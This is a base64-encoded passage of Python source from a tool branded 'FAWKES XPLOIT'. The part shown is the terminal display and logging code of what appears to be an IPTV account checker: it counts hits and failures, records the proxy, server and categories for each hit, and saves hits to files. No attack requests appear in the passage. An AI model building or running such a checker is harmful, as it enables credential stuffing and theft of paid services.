2xiLnByb2dyZXNzLCBHbGIuQkMpKQogICAgICAgIHByaW50KCcge30ge30gW/CdmbhdIENQTSA6IHt9e30nLmZvcm1hdChHbGIuQUMsIEdsYi5CQywgR2xiLkFaQywgR2xiLmNwbSkpCiAgICAgICAgcHJpbnQoJyB7fSB7fSBb8J2ZvV0gVGltZSBlbGFwc2VkIDoge317fScuZm9ybWF0KEdsYi5BQywgR2xiLkJDLCBHbGIuQVpDLCBHbGIuZWxhcHNlZCkpCiAgICAgICAgcHJpbnQoJyB7fSB7fSBb8J2Ztl0nLmZvcm1hdChHbGIuQUMsIEdsYi5SU1QpKQogICAgICAgIHByaW50KCcge30gIHt9Jy5mb3JtYXQoR2xiLkFDLCBHbGIuUlNUKSkKICAgICAgICBwcmludCgnJykKICAgIGRlZiBha19VSShzZWxmLCBtc2opOgogICAgICAgIENsZWFyKCkuY2xyX2FsbCgpCiAgICAgICAgQ2xlYXIoKS5jbHJfYWxsKCkjIER1YXMgdmV6ZXMgcGFyYSBuJmF0aWxkZTtvIGRlaXhhciB2ZXN0JmlhY3V0ZTtnaW9zCiAgICAgICAgc2VsZi5ha19zZXRfdGl0bGUoKQogICAgICAgIHNlbGYuYWtfaGVhZHMoKQogICAgICAgIHNlbGYuYWtfc2V0dGluZ3MoKQogICAgICAgIHNlbGYuY29vbF9tc2cobXNqKQogICAgICAgIHNlbGYuYWtfc3RhdGlzdGljKCkKICAgICAgICBzeXMuc3Rkb3V0LmZsdXNoKCkKCiAgICBkZWYgZGlzcGxheV9zdGF0aXN0aWMoc2VsZiwgY2FzZSwgaW5mb1N0cik6CiAgICAgICAgaWYgY2FzZSAhPSAnJzoKICAgICAgICAgICAgaWYgY2FzZSA9PSAnR29vZCc6CiAgICAgICAgICAgICAgICBzeXMuc3Rkb3V0LndyaXRlKGYne0dsYi5FU0N9ezI3fTt7MTh9SHtHbGIuVkRDfXtHbGIuSGl0c317R2xiLlJTVH0nKQogICAgICAgICAgICAgICAgY29sb3IgPSAzMgogICAgICAgICAgICBlbGlmIGNhc2UgPT0gJ0JhZCc6CiAgICAgICAgICAgICAgICBzeXMuc3Rkb3V0LndyaXRlKGYne0dsYi5FU0N9ezI4fTt7MTd9SHtHbGIuVn17R2xiLkJhZHN9e0dsYi5SU1R9JykKICAgICAgICAgICAgICAgIGNvbG9yID0gMzEKICAgICAgICAgICAgZWxpZiBjYXNlID09ICdFcnJvcic6CiAgICAgICAgICAgICAgICBzeXMuc3Rkb3V0LndyaXRlKGYne0dsYi5FU0N9ezI5fTt7MjF9SHtHbGIuQX17R2xiLkVycm9yc317R2xiLlJTVH0nKQogICAgICAgICAgICAgICAgY29sb3IgPSAzMwogICAgICAgICAgICBlbHNlOgogICAgICAgICAgICAgICAgY29sb3IgPSAzNwogICAgICAgICAgICBzeXMuc3Rkb3V0LndyaXRlKGYne0dsYi5FU0N9ezMwfTt7MjJ9SHtHbGIudG90YWxDaGVja2VkfS97R2xiLnRvdGFsVG9DaGVja317R2xiLlJTVH0gICh7R2xiLlZEfXtHbGIucHJvZ3Jlc3N9ICV7R2xiLlJTVH0pJykKICAgICAgICAgICAgc2VsZi5kaXNwbGF5X2NtcF9lbmxhcHNlZCgpCiAgICAgICAgICAgIENsZWFyKCkubXV2ZV9jdXJzb3IoMzYpCiAgICAgICAgICAgIENsZWFyKCkuY2xyX2Zyb21fY3Vyc29yX3RvX2VuZCgpCiAgICAgICAgICAgIHN5cy5zdGRvdXQud3JpdGUoZid7R2xiLkVTQ317MzZ9O3sxfUh7R2xiLkVTQ30wS3tHbGIuRVNDfXtjb2xvcn07MW1bK10ge2Nhc2V9IFxue0dsYi5DfXtpbmZvU3RyfXtHbGIuUlNUfScpCiAgICAgICAgICAgIHN5cy5zdGRvdXQuZmx1c2goKQoKICAgIGRlZiBkaXNwbGF5X2NtcF9lbmxhcHNlZChzZWxmKToKICAgICAgICBzeXMuc3Rkb3V0LndyaXRlKGYne0dsYi5FU0N9ezI5fTt7MjF9SHtHbGIuQX17R2xiLkVycm9yc317R2xiLlJTVH0nKQogICAgICAgIHN5cy5zdGRvdXQud3JpdGUoZid7R2xiLkVTQ317MzF9O3sxN31Ie0dsYi5FU0N9MEt7R2xiLkFaQ317R2xiLmNwbX17R2xiLlJTVH0nKQogICAgICAgIHN5cy5zdGRvdXQud3JpdGUoZid7R2xiLkVTQ317MzJ9O3syNX1Ie0dsYi5FU0N9MEt7R2xiLmVsYXBzZWR9e0dsYi5SU1R9JykKICAgICAgICBzeXMuc3Rkb3V0LmZsdXNoKCkKCiAgICBkZWYgc3RhcnRfdGltZShzZWxmKToKICAgICAgICBHbGIuc3RhcnRUaW1lID0gdGltZS50aW1lKCkKCiAgICBkZWYgY29vbF9tc2coc2VsZiwgbXNnKToKICAgICAgICBDbGVhcigpLm11dmVfY3Vyc29yKDIxKQogICAgICAgIENsZWFyKCkuY2xyX2xpbmUoKQogICAgICAgIGlmIG1zZyA9PSAnd2FyJzoKICAgICAgICAgICAgcHJpbnQoJ3t9IFtUaGUgd2FyIGlzIGFib3V0IHRvIGJlZ2luXSB7fScuZm9ybWF0KEdsYi5WREMsIEdsYi5CQykpCiAgICAgICAgZWxpZiBtc2cgPT0gJ3JlbGF4JzoKICAgICAgICAgICAgcHJpbnQoJyB7fSA9PT09IHt9TG9va2luZyBGb3IgSElUUyBQcm9jZXNzaW5ne30gPT09PSB7fScuZm9ybWF0KEdsYi5DLCBHbGIuQkMsIEdsYi5DLCBHbGIuUlNUKSkKICAgICAgICBlbGlmIG1zZyA9PSAnZG9uZScgYW5kIEdsYi5IaXRzICZndDsgMDoKICAgICAgICAgICAgcHJpbnQoJ3t9Q29uZ3JhdHVsYXRpb25zIHlvdSBnb3Qgc29tZSB7fSBoaXRzIPCfpbcgQWxsIERvbmUnLmZvcm1hdChHbGIuVkRDLCBHbGIuSGl0cykpCiAgICAgICAgZWxpZiBtc2cgPT0gJ2V4aXQnOgogICAgICAgICAgICBpbnB1dChzZWxmLmVycm9yX21zZygne30mZ3Q7Jmd0OyBZb3UgaGF2ZSBzdWNjZXNzZnVsbHkgZXhpdCB0aGUgcHJvZ3JhbSAmbHQ7Jmx0O1xuXG5QcmVzcyBFTlRFUiB0byBjb250aW51ZTp7fScuZm9ybWF0KEdsYi5WREMsIEdsYi5SU1QpKSkKICAgICAgICAgICAgcmV0dXJuIFN0YXJ0QXBwKCkuZXhpdF9BcHAoKQogICAgICAgIGVsc2U6CiAgICAgICAgICAgIHByaW50KCcnKQogICAgICAgIHByaW50KCcnKQoKICAgIGRlZiBlcnJvcl9tc2coc2VsZiwgbWVzc2FnZSk6CiAgICAgICAgQ2xlYXIoKS5tdXZlX2N1cnNvcigzNikKICAgICAgICBDbGVhcigpLmNscl9mcm9tX2N1cnNvcl90b19lbmQoKQogICAgICAgIGlmIG1lc3NhZ2UgPT0gJ2N0cmxfYyc6CiAgICAgICAgICAgIHByaW50KCdjdHJsX0MgaGFzIGJlZW4gcHJlc3MnKQogICAgICAgICAgICBpbnB1dCgnd2FudCB0byBleGl0JykKICAgICAgICAgICAgcmV0dXJuCiAgICAgICAgZWxzZToKICAgICAgICAgICAgcHJpbnQoc3RyKG1lc3NhZ2UpKQogICAgICAgIHJldHVybiAnJwoKICAgIGRlZiBsb2FkaW5nX2VmZmVjdChzZWxmLCBzdGFydDogYm9vbCwgbXNnPSdMb2FkaW5nJyk6CiAgICAgICAgZGVmIHBhcnNlX2xhc3RfbmV3bGluZSh0ZXh0KToKICAgICAgICAgICAgbGFzdF9uZXdsaW5lX2luZGV4ID0gdGV4dC5yZmluZCgmcXVvdDtcbiZxdW90OykKICAgICAgICAgICAgaWYgbGFzdF9uZXdsaW5lX2luZGV4ICE9IC0xOgogICAgICAgICAgICAgICAgbGFzdF9wYXJ0ID0gdGV4dFtsYXN0X25ld2xpbmVfaW5kZXggKyAxOl0KICAgICAgICAgICAgICAgIGZpcnN0X3BhcnQgPSB0ZXh0WzpsYXN0X25ld2xpbmVfaW5kZXggKyAxXQogICAgICAgICAgICAgICAgcmV0dXJuIGZpcnN0X3BhcnQsIGxhc3RfcGFydC5zdHJpcCgpCiAgICAgICAgICAgIGVsc2U6CiAgICAgICAgICAgICAgICByZXR1cm4gdGV4dCwgJycKCiAgICAgICAgZGVmIGxvYWRpbmcoKToKICAgICAgICAgICAgYW5pbWF0aW9uID0gWyAnfCcsICd8fCcsICd8fHwnLCAnfHx8fCcsICd8fHx8fCcsICd8fHx8fHwnLCAnfHx8fHx8fCcsICd8fHx8fHx8fCcsICd8fHx8fHx8fHwnLCAnfHx8fHx8fHx8fCcsICd8fHx8fHx8fHx8fCcsICd8fHx8fHx8fHx8fHwnLCAnfHx8fHx8fHx8fHx8fCcsICd8fHx8fHx8fHx8fHx8fCcsICd8fHx8fHx8fHx8fHx8fHwnIF0KICAgICAgICAgICAgaWR4ID0gMAogICAgICAgICAgICBmaXJzdCwgbGFzdCA9IHBhcnNlX2xhc3RfbmV3bGluZShtc2cpCiAgICAgICAgICAgIHByaW50KGZpcnN0KQogICAgICAgICAgICB3aGlsZSBHbGIubG9hZGluZzoKICAgICAgICAgICAgICAgIG1lc3NhZ2UgPSBsYXN0ICsgYW5pbWF0aW9uW2lkeF0KICAgICAgICAgICAgICAgIHN5cy5zdGRvdXQud3JpdGUoJnF1b3Q7XHImcXVvdDsgKyBtZXNzYWdlKQogICAgICAgICAgICAgICAgc3lzLnN0ZG91dC5mbHVzaCgpCiAgICAgICAgICAgICAgICBzeXMuc3Rkb3V0LndyaXRlKCZxdW90O1wwMzNbSyZxdW90OykgICMgQ2xlYXIgdGhlIGxpbmUKICAgICAgICAgICAgICAgIGlkeCA9IChpZHggKyAxKSAlIGxlbihhbmltYXRpb24pCiAgICAgICAgICAgICAgICB0aW1lLnNsZWVwKDAuMSkgICMgQWRqdXN0IHRoZSBkZWxheSBhcyBuZWVkZWQKCiAgICAgICAgZm9yIHRoIGluIEdsYi5hbmltVGhyZWFkczoKICAgICAgICAgICAgR2xiLmxvYWRpbmcgPSBGYWxzZQogICAgICAgICAgICB0aW1lLnNsZWVwKDAuMSkKICAgICAgICAgICAgdGguam9pbigpCiAgICAgICAgICAgIHByaW50KCcnKQogICAgICAgIGlmIHN0YXJ0OgogICAgICAgICAgICBHbGIubG9hZGluZyA9IHN0YXJ0CiAgICAgICAgICAgIG5ld1RoID0gdGhyZWFkaW5nLlRocmVhZCh0YXJnZXQ9bG9hZGluZywgZGFlbW9uPVRydWUpCiAgICAgICAgICAgIG5ld1RoLnN0YXJ0KCkKICAgICAgICAgICAgR2xiLmFuaW1UaHJlYWRzLmFwcGVuZChuZXdUaCkKCgpjbGFzcyBDbGVhcjoKCiAgICBkZWYgbXV2ZV9jdXJzb3Ioc2VsZiwgbGluZU51bWJlcik6CiAgICAgICAgc3lzLnN0ZG91dC53cml0ZSgnXDAzM1tIJykgICMgTXV2ZSBjdXJzb3IgdG8gaG9tZSAoMCwwKQogICAgICAgIHN5cy5zdGRvdXQud3JpdGUoZidcMDMzW3tsaW5lTnVtYmVyfUInKSAgIyBNdXZlIGN1cnNvciB0bwoKICAgIGRlZiBtdXZlX2N1cnNvcl9ob21lKHNlbGYpOgogICAgICAgIHN5cy5zdGRvdXQud3JpdGUoJ1wwMzNbSCcpCgogICAgZGVmIGNscl9mcm9tX2N1cnNvcl90b19lbmQoc2VsZik6CiAgICAgICAgc3lzLnN0ZG91dC53cml0ZSgnXDAzM1swSicpCgogICAgZGVmIGNscl9hbGwoc2VsZik6CiAgICAgICAgaWYgR2xiLlN5c3RlbU5hbWUgPT0gJ1dpbmRvd3MnOgogICAgICAgICAgICBvcy5zeXN0ZW0oJ2NscycpCiAgICAgICAgZWxpZiBHbGIuU3lzdGVtTmFtZSA9PSAnTGludXgnOgogICAgICAgICAgICBvcy5zeXN0ZW0oJ2NsZWFyJykKICAgICAgICBlbHNlOiAgIyAnRGFyd2luJyB2ZXJ5IHVnbHkgYnV0IEkgY291bGRuJ3QgZmluZCBvdGhlciBlYXN5IHdheSB0byBkbyBpdCAgOigKICAgICAgICAgICAgIyBwcmludCgmcXVvdDtcbiZxdW90OyAqIDEwMDApCiAgICAgICAgICAgIHBhc3MKICAgICAgICBzZWxmLm11dmVfY3Vyc29yX2hvbWUoKQoKICAgIGRlZiBiY2tfcHJldl9saW5lKHNlbGYpOgogICAgICAgIHN5cy5zdGRvdXQud3JpdGUoZidcMDMzW3syfUEnKQoKICAgIGRlZiBjbHJfbGluZShzZWxmKToKICAgICAgICBzeXMuc3Rkb3V0LndyaXRlKGYnXDAzM1t7Mn1LJykKCgpjbGFzcyBSZXN1bHQ6CiAgICAmcXVvdDsmcXVvdDsmcXVvdDtUaGlzIENsYXNzIGlzIGp1c3QgdG8gd3JhcCBsb2dnZXIgZnVuY3Rpb24mcXVvdDsmcXVvdDsmcXVvdDsKCiAgICBkZWYgbG9nZ2VyX2lwdHYoc2VsZik6CiAgICAgICAgZCA9IERpc3BsYXkoKQogICAgICAgIHdoaWxlIEdsYi5ydW5uaW5nIG9yIEdsYi5yZXN1bHRzLnFzaXplKCkgJmd0OyAwOiAgIyBHbGIucmVzdWx0cy5xc2l6ZSgpICZndDsgMCBvciBHbGIucnVubmluZyBpcyBUcnVlOgogICAgICAgICAgICBpZiBHbGIucmVzdWx0cy5xc2l6ZSgpICZndDsgMDoKICAgICAgICAgICAgICAgIHRyeToKICAgICAgICAgICAgICAgICAgICBkYXRhID0gR2xiLnJlc3VsdHMuZ2V0KCkKICAgICAgICAgICAgICAgICAgICBjYXNlID0gZGF0YVswXQogICAgICAgICAgICAgICAgICAgIGRhdGFSID0gZGF0YVsxXQogICAgICAgICAgICAgICAgICAgIGluZm9TdHIgPSBzdHIoKQogICAgICAgICAgICAgICAgICAgIGluZm9TdHJDYXQgPSBzdHIoKQogICAgICAgICAgICAgICAgICAgIGZvciBrZXksIHZhbCBpbiBkYXRhUi5pdGVtcygpOgogICAgICAgICAgICAgICAgICAgICAgICBpZiBjYXNlID09ICdHb29kJzoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIGtleSA9PSAnUHJveHlVc2VkJyBvciBrZXkgPT0gJ0ZpbGVOYW1lJzoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwYXNzCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbGlmIGtleSA9PSAnXHhmMFx4OWZceDkzXHg4MSBDYXRlZ29yaWVzJzoKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXRlX3N0ciA9IHN0cigpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaSwgaiA9IDEsIDEKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3IgaXRlbSBpbiB2YWw6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIGkgPT0gaiArIDQ6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXRlX3N0ciArPSAnXG4gICAgICcgKyBpdGVtICsgJyAtICcKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGogPSBpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2U6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjYXRlX3N0ciArPSBpdGVtICsgJyAtICcKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaSArPSAxCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaW5mb1N0ckNhdCArPSBmJ3trZXl9OiB7Y2F0ZV9zdHJ9XG4nCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGluZm9TdHIgKz0gZid7a2V5fToge3ZhbH1cbicKICAgICAgICAgICAgICAgICAgICAgICAgZWxzZToKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGluZm9TdHIgKz0gZid7a2V5fToge3ZhbH1cbicKICAgICAgICAgICAgICAgICAgICBpZiBjYXNlID09ICdHb29kJzoKICAgICAgICAgICAgICAgICAgICAgICAgR2xiLkhpdHMgKz0gMQogICAgICAgICAgICAgICAgICAgICAgICBpbmZvU3RyRmlsZSA9ICfil6TilIHilIEgRkFXS0VT8J+RulhQTE9JVCDilIHilIHil6VcbicgKyBpbmZvU3RyICsgaW5mb1N0ckNhdAogICAgICAgICAgICAgICAgICAgICAgICBmaWxlTmFtZSA9IGRhdGFSWydGaWxlTmFtZSddCiAgICAgICAgICAgICAgICAgICAgICAgIHBhdGggPSBvcy5wYXRoLmpvaW4oR2xiLm15UGF0aCwgJ0ZBV0tFU/CfkbpYUExPSVQnKQogICAgICAgICAgICAgICAgICAgICAgICBGaWxlV29yaygpLmZpbGVfd3JpdGUocGF0aCwgaW5mb1N0ckZpbGUsIGYnRkFXS0VT8J+RulhQTE9JVEB7ZmlsZU5hbWV98J+ktC50eHQnLCAnYSsnKQogICAgICAgICAgICAgICAgICAgICAgICBzZWxmLnBsYXlfc29uZygpCiAgICAgICAgICAgICAgICAgICAgZWxpZiBjYXNlID09ICdCYWQnOgogICAgICAgICAgICAgICAgICAgICAgICBHbGIuQmFkcyArPSAxCiAgICAgICAgICAgICAgICAgICAgZWxpZiBjYXNlID09ICdFcnJvcic6CiAgICAgICAgICAgICAgICAgICAgICAgIEdsYi5FcnJvcnMgKz0gMQogICAgICAgICAgICAgICAgICAgICAgICByYWlzZSBWYWx1ZUVycm9yCiAgICAgICAgICAgICAgICAgICAgZWxpZiBjYXNlID09ICdTdGF0dXNDb2RlJzoKICAgICAgICAgICAgICAgICAgICAgICAgR2xiLkVycm9ycyArPSAxCiAgICAgICAgICAgICAgICAgICAgICAgIHJhaXNlIFZhbHVlRXJyb3IKICAgICAgICAgICAgICAgICAgICBHbGIudG90YWxDaGVja2VkID0gR2xiLkhpdHMgKyBHbGIuQmFkcwogICAgICAgICAgICAgICAgICAgIGlmIEdsYi50b3RhbFRvQ2hlY2sgJmd0OyAwOgogICAgICAgICAgICAgICAgICAgICAgICBHbGIucHJvZ3Jlc3MgPSByb3VuZChHbGIudG90YWxDaGVja2VkIC8gR2xiLnRvdGFsVG9DaGVjayAqIDEwMCkKICAgICAgICAgICAgICAgICAgICBzZWxmLmZpcmVVcF9EaXNwbGF5KGZ1bmM9ZC5kaXNwbGF5X3N0YXRpc3RpYyhjYXNlPWNhc2UsIGluZm9TdHI9aW5mb1N0cikpCiAgICAgICAgICAgICAgICBleGNlcHQgVmFsdWVFcnJvciBhcyBlcjoKICAgICAgICAgICAgICAgICAgICBkZWwgZXIKICAgICAgICAgICAgICAgIGV4Y2VwdCBFeGNlcHRpb24gYXMgZToKICAgICAgICAgICAgICAgICAgICBkZWwgZQogICAgICAgICAgICBlbHNlOgogICAgICAgICAgICAgICAgc2VsZi5maXJlVXBfRGlzcGxheShmdW5jPWQuZGlzcGxheV9jbXBfZW5sYXBzZWQpCiAgICAgICAgICAgICAgICB0aW1lLnNsZWVwKDEpCgogICAgZGVmIHVwZGF0ZV9HbGJfQ1BNX0VubGFwc2VUaW1lKHNlbGYpOgogICAgICAgICMgQ01QIExvZ2ljID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQogICAgICAgIGVuZFRpbWUgPSB0aW1lLnRpbWUoKSAgIyBUaW1lIE5vdwogICAgICAgIHRpbWVEaWYgPSBtYXRoLmNlaWwoKGVuZFRpbWUgLSBHbGIuc3RhcnRUaW1lKSAvIDYwKQogICAgICAgIGlmIHRpbWVEaWYgJmd0OyAwOgogICAgICAgICAgICBHbGIuY3BtID0gbWF0aC5mbG9vcigoR2xiLkhpdHMgKyBHbGIuQmFkcykgLyB0aW1lRGlmKQogICAgICAgIEdsYi5lbGFwc2VkID0gc2VsZi5lbGFwc2VkX3RpbWUoZW5kVGltZSAtIEdsYi5zdGFydFRpbWUpCiAgICAgICAgIyBDUE0gTG9naWMgRW5kID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoKICAgIGRlZiBlbGFwc2VkX3RpbWUoc2VsZiwgc2VjZHMpIC0mZ3Q7IHN0cjoKICAgICAgICBzZWNvbmRzX2luX2RheSA9IDg2NDAwICAjIDYwKjYwKjI0CiAgICAgICAgc2Vjb25kc19pbl9ob3VyID0gMzYwMCAgIyA2MCo2MAogICAgICAgIHNlY29uZHNfaW5fbWludXRlID0gNjAKICAgICAgICBzZWNvbmRzID0gcm91bmQoc2VjZHMpCiAgICAgICAgZGF5cyA9IChzZWNvbmRzIC8vIHNlY29uZHNfaW5fZGF5KQogICAgICAgIGhvdXJzID0gKHNlY29uZHMgLSAoZGF5cyAqIHNlY29uZHNfaW5fZGF5KSkgLy8gc2Vjb25kc19pbl9ob3VyCiAgICAgICAgbWludXRlcyA9IChzZWNvbmRzIC0gKGRheXMgKiBzZWNvbmRzX2luX2RheSkgLSAoaG91cnMgKiBzZWNvbmRzX2luX2hvdXIpKSAvLyBzZWNvbmRzX2luX21pbnV0ZQogICAgICAgIHNlY29uZHNfID0gKHNlY29uZHMgLSAoZGF5cyAqIHNlY29uZHNfaW5fZGF5KSAtIChob3VycyAqIHNlY29uZHNfaW5faG91cikgLSAobWludXRlcyAqIHNlY29uZHNfaW5fbWludXRlKSkKICAgICAgICByZXR1cm4gZid7R2xiLlJTVH17ZGF5c30oZGF5cykge0dsYi5WQ317aG91cnN9e0dsYi5SU1R9aDp7R2xiLlZDfXttaW51dGVzfXtHbGIuUlNUfW06e0dsYi5WQ317c2Vjb25kc199e0dsYi5SU1R9cycKCiAgICBkZWYgZmlyZVVwX0Rpc3BsYXkoc2VsZiwgZnVuYyk6CiAgICAgICAgc2VsZi51cGRhdGVfR2xiX0NQTV9FbmxhcHNlVGltZSgpCiAgICAgICAgbXlfc2l6ZSA9IHNodXRpbC5nZXRfdGVybWluYWxfc2l6ZSgpCiAgICAgICAgZmxhZyA9IHRpbWUudGltZSgpIC0gR2xiLmRpc3BUaW1lCiAgICAgICAgaWYgbXlfc2l6ZSAhPSAoNjIsIDQ3KSBvciBHbGIuU3lzdGVtTmFtZSA9PSAnRGFyd2luJyBvciBmbGFnICZndDsgMzU6CiAgICAgICAgICAgIEdsYi5kaXNwVGltZSA9IHRpbWUudGltZSgpCiAgICAgICAgICAgIERpc3BsYXkoKS5ha19VSSgncmVsYXgnKQogICAgICAgIGVsc2U6CiAgICAgICAgICAgIGZ1bmMoKQoKICAgIGRlZiBsb2dnZXIoc2VsZiwgZGF0YSk6ICAjICZsdDs9PT09PT09PT09PT09PT09PT09PT09PT09PSBpbiB1c2UgZm9yIElwaG9uZQogICAgICAgIEdsYi5sb2NrLmFjcXVpcmUoKQogICAgICAgIHRyeToKICAgICAgICAgICAgY2FzZSA9IGRhdGFbMF0KICAgICAgICAgICAgZGF0YVIgPSBkYXRhWzFdCiAgICAgICAgICAgIGluZm9TdHIgPSBzdHIoKQogICAgICAgICAgICBmb3Iga2V5LCB2YWwgaW4gZGF0YVIuaXRlbXMoKToKICAgICAgICAgICAgICAgIGlmIGNhc2UgPT0gJ0dvb2QnOgogICAgICAgICAgICAgICAgICAgIGlmIGtleSA9PSAnUHJveHlVc2VkJzoKICAgICAgICAgICAgICAgICAgICAgICAgcGFzcwogICAgICAgICAgICAgICAgICAgIGVsaWYga2V5ID09ICdceGYwXHg5Zlx4OTNceDgxIENhdGVnb3JpZXMnOgogICAgICAgICAgICAgICAgICAgICAgICBjYXRlX3N0ciA9IHN0cigpCiAgICAgICAgICAgICAgICAgICAgICAgIGkgPSAxCiAgICAgICAgICAgICAgICAgICAgICAgIGogPSAxCiAgICAgICAgICAgICAgICAgICAgICAgIGZvciBpdGVtIGluIHZhbDoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIGkgPT0gaiArIDQ6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY2F0ZV9zdHIgKz0gJ1xuICAgICAnICsgaXRlbSArICcgLSAnCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaiA9IGkKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2U6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY2F0ZV9zdHIgKz0gaXRlbSArICcgLSAnCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpICs9IDEKICAgICAgICAgICAgICAgICAgICAgICAgaW5mb1N0ciArPSBmJ3trZXl9OiB7Y2F0ZV9zdHJ9XG4nCiAgICAgICAgICAgICAgICAgICAgZWxzZToKICAgICAgICAgICAgICAgICAgICAgICAgaW5mb1N0ciArPSBmJ3trZXl9OiB7dmFsfVxuJwogICAgICAgICAgICAgICAgZWxzZToKICAgICAgICAgICAgICAgICAgICBpbmZvU3RyICs9IGYne2tleX06IHt2YWx9ICcKICAgICAgICAgICAgaWYgY2FzZSA9PSAnR29vZCc6CiAgICAgICAgICAgICAgICBHbGIuSGl0cyArPSAxCiAgICAgICAgICAgICAgICBpbmZvU3RyID0gZifil6TilIHilIEgRkFXS0VT8J+RulhQTE9JVCDilIHilIHil6VcbicgKyBpbmZvU3RyCiAgICAgICAgICAgICAgICBmaWxlTmFtZSA9IGRhdGFSWydceGYwXHg5Zlx4OGNceDhlIFNlcnZlciddLnNwbGl0KCc6Ly8nKVsxXS5zcGxpdCgnOicpWzBdLnNwbGl0KCcvJylbMF0KICAgICAgICAgICAgICAgIHBhdGggPSBvcy5wYXRoLmpvaW4oR2xiLm15UGF0aCwgJ0ZBV0tFU/CfkbpYUExPSVQnKQogICAgICAgICAgICAgICAgRmlsZVdvcmsoKS5maWxlX3dyaXRlKHBhdGgsIGluZm9TdHIsIGYnRkFXS0VT8J+RulhQTE9JVEB7ZmlsZU5hbWV98J+ktC50eHQnLCAnYSsnKQogICAgICAgICAgICAgICAgc2VsZi5wbGF5X3NvbmcoKQogICAgICAgICAgICBlbGlmIGNhc2UgPT0gJ0JhZCc6CiAgICAgICAgICAgICAgICBHbGIuQmFkcyArPSAxCiAgICAgICAgICAgIGVsaWYgY2FzZSA9PSAnRXJyb3InOgogICAgICAgICAgICAgICAgR2xiLkVycm9ycyArPSAxCiAgICAgICAgICAgIGVsaWYgY2FzZSA9PSAnU3RhdHVzQ29kZSc6CiAgICAgICAgICAgICAgICBHbGIuRXJyb3JzICs9IDEKICAgICAgICAgICAgRGlzcGxheSgpLmFrX1VJKCdyZWxheCcpCiAgICAgICAgICAgIHByaW50KGluZm9TdHIpCiAgICAgICAgICAgIHRpbWUuc2xlZXAoMSkKICAgICAgICBleGNlcHQgVmFsdWVFcnJvciBhcyBlcjoKICAgICAgICAgICAgZGVsIGVyCiAgICAgICAgZXhjZXB0IEV4Y2VwdGlvbiBhcyBlOgogICAgICAgICAgICBwcmludCgnTG9nIGV4Y2VwdGlvbiA6ICcgKyBzdHIoZSkpCiAgICAgICAgICAgIGRlbCBlCiAgICAgICAgaWYgR2xiLmxvY2subG9ja2VkKCk6CiAgICAgICAgICAgIEdsYi5sb2NrLnJlbGVhc2UoKQoKICAgIGRlZiBwbGF5X3Nvbmcoc2VsZik6CiAgICAgICAgaWYgR2xiLnBsYXlfc291bmQ6CiAgICAgICAgICAgIGlmICdBTkRST0lEX1NUT1JBR0UnIGluIEdsYi5teV9lbnZpcm9uOiAgIyBQWUNIQVJNX0hPU1RFRCwgQU5EUk9JRAogICAgICAgICAgICAgICAgcGF0aCA9IE5vbmUKICAgICAgICAgICAgICAgIGZvciByIGluIG9zLnNjYW5kaXIoR2xiLnNvdW5kUGF0aCk6CiAgICAgICAgICAgICAgICAgICAgcGF0aCA9IEdsYi5zb3VuZFBhdGggKyAnLycgKyByLm5hbWUgICMgQ2FsbS9DYWxtLm9nZycKICAgICAgICAgICAgICAgICAgICBicmVhawogICAgICAgICAgICAgICAgIyBwYXRoID0gJy9zdG9yYWdlL2VtdWxhdGVkLzAvQW5kcm9pZC9tZWRpYS9jb20uZ29vZ2xlLmFuZHJvaWQuZ20vTm90aWZpY2F0aW9ucy9DYWxtL0NhbG0ub2dnJyAgIyAmbHQ7PT0KICAgICAgICAgICAgICAgIHRyeToKICAgICAgICAgICAgICAgICAgICAmcXVvdDsmcXVvdDsmcXVvdDtpbXBvcnQga2l2eS5jb3JlLmF1ZGlvIGFzIGF1ZGlvJnF1b3Q7JnF1b3Q7JnF1b3Q7CiAgICAgICAgICAgICAgICAgICAgcmFpc2UgTW9kdWxlTm90Rm91bmRFcnJvcgogICAgICAgICAgICAgICAgZXhjZXB0IE1vZHVsZU5vdEZvdW5kRXJyb3I6CiAgICAgICAgICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgICAgICAgICBpbXBvcnQgYW5kcm9pZGhlbHBlciBhcyBhdWRpbwogICAgICAgICAgICAgICAgICAgICAgICBtdXNpYyA9IGF1ZGlvLkFuZHJvaWQoKQogICAgICAgICAgICAgICAgICAgICAgICBtdXNpYy5tZWRpYVBsYXkocGF0aCkKICAgICAgICAgICAgICAgICAgICAgICAgdGltZS5zbGVlcCgxKQogICAgICAgICAgICAgICAgICAgICAgICBtdXNpYy5tZWRpYVBheUNsb3NlKCkKICAgICAgICAgICAgICAgICAgICBleGNlcHQgRXhjZXB0aW9uIGFzIGF1ZGlvXzFlOgogICAgICAgICAgICAgICAgICAgICAgICBkZWwgYXVkaW9fMWUKICAgICAgICAgICAgICAgIGV4Y2VwdCBFeGNlcHRpb24gYXMgYXVkaW9fMmU6CiAgICAgICAgICAgICAgICAgICAgZGVsIGF1ZGlvXzJlCiAgICAgICAgICAgIGVsc2U6CiAgICAgICAgICAgICAgICBzeXMuc3Rkb3V0LndyaXRlKCdcMDA3JykKCgpjbGFzcyBGaWxlV29yazoKICAgICZxdW90